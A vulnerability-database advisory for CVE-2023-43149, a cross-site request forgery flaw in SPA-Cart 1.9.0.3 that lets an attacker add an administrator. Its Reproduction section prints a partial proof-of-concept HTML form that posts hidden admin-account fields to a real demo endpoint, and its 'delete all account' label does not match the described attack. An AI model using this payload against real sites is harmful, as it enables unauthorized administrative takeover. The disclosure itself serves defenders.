VYPR
Unrated severityNVD Advisory· Published Oct 12, 2023· Updated Sep 18, 2024

CVE-2023-43149

CVE-2023-43149

Description

SPA-Cart 1.9.0.3 is vulnerable to Cross Site Request Forgery (CSRF) that allows a remote attacker to add an admin user with role status.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2

Patches

Vulnerability mechanics

Root cause

"The application lacks CSRF protection on the user creation endpoint."

Attack vector

A remote attacker can exploit this vulnerability by tricking an authenticated administrator into clicking a crafted HTML link or opening a malicious file [ref_id=1]. This action submits a POST request to the user creation endpoint, allowing the attacker to add a new administrator user with a specified role status [ref_id=1]. The vulnerability is present in SPA-Cart version 1.9.0.3.

Affected code

The vulnerability affects the user creation functionality within SPA-Cart version 1.9.0.3. Specifically, the endpoint that handles the addition of new users, which is susceptible to Cross-Site Request Forgery attacks.

What the fix does

The advisory does not specify a patch or provide remediation guidance. Therefore, the exact fix is not detailed. However, to address this CSRF vulnerability, developers should implement anti-CSRF tokens or other appropriate security measures to validate the origin of requests to sensitive endpoints.

Preconditions

  • authThe victim must be an authenticated administrator.

Reproduction

1 - Make an file with with this CODE and SAVE in HTML Attack Delete All Account

<html> <body> <form action="https://demo.spa-cart.com/admin/user/859" method="POST" enctype="multipart/form-data"> <input type="hidden" name="posted&#95;data&#91;firstname&#93;" value="mal1" /> <input type="hidden" name="posted&#95;data&#91;lastname&#93;" value="mal2" /> <input type="hidden" name="posted&#95;data&#91;phone&#93;" value="156415641561" /> <input type="hidden" name="posted&#95;data&#91;email&#93;" value="mal1&#64;test&#46;com" /> <input type="hidden" name="password" value="" /> <input type="hidden" name="posted&#95;data&#91;usertype&#93;" value="C" /> <input type="hidden" name="posted&#95;data&#91;roleid&#93;" value="1" /> <input type="hidden" name="posted&#95;data&#91;status&#93;" value="1" /> <input type="hidden" name="posted&#95;data&#91;address&#93;" value="" /> <input type="hidden" name="posted&#95;data&#91;city&#93;" value="" /> <input type="hidden" name="posted&#95;data&#91;state&#93;" value="" /> <input type="hidden" name="posted&#95;data&#91;country&#93;" value="AG" /> <input type="hidden" name="posted&#95;data&#91;zipcode&#93;" value="05584" /> <input type="hidden" name="posted&#95;data&#91;pending&#95;membershipid&#93;"

Generated on Jun 6, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

News mentions

0

No linked articles in our index yet.